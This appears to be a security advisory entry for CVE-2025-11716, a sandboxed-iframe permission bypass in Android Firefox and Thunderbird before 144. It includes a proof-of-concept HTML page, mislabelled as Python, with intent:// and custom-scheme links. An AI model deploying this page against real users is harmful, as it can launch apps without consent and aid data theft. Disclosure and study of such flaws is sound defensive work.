Links in a sandboxed iframe could open an external app on Android without the required "allow-" permission. This vulnerability was fixed in Firefox 144 and Thunderbird 144.
cpe:2.3:o:google:android:-:*:*:*:*:*:*:* - NOT VULNERABLE
Mozilla Firefox < 144（Android）
Mozilla Thunderbird < 144（Android）
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-11716 PoC: Sandbox iframe permission bypass on Android Firefox/Thunderbird -->
<!-- This PoC demonstrates how a sandboxed iframe can open external apps without proper 'allow-' permissions -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CVE-2025-11716 PoC</title>
</head>
<body>
<h1>Malicious Page (Attacker Controlled)</h1>
<p>Click the link below to trigger the vulnerability:</p>
<!-- The sandboxed iframe contains a link that can open an external Android app -->
<!-- Without proper 'allow-popups' or 'allow-popups-to-escape-sandbox', this should be blocked -->
<!-- But due to CVE-2025-11716, the external app launches anyway -->
<iframe
sandbox="allow-scripts"
src="malicious_iframe.html"
style="width: 600px; height: 200px; border: 1px solid red;">
</iframe>
<!-- malicious_iframe.html content (loaded in sandboxed iframe): -->
<!--
<!DOCTYPE html>
<html>
<body>
<h2>Sandboxed Content</h2>
<a href="intent://#Intent;scheme=myapp;package=com.example.targetapp;S.browser_fallback_url=https://example.com;end">
Click here (triggers external app on vulnerable Firefox < 144)
</a>
<a href="myapp://action/steal_data?param=value">
Alternative: Direct custom scheme link
</a>
</body>
</html>
-->
</body>
</html>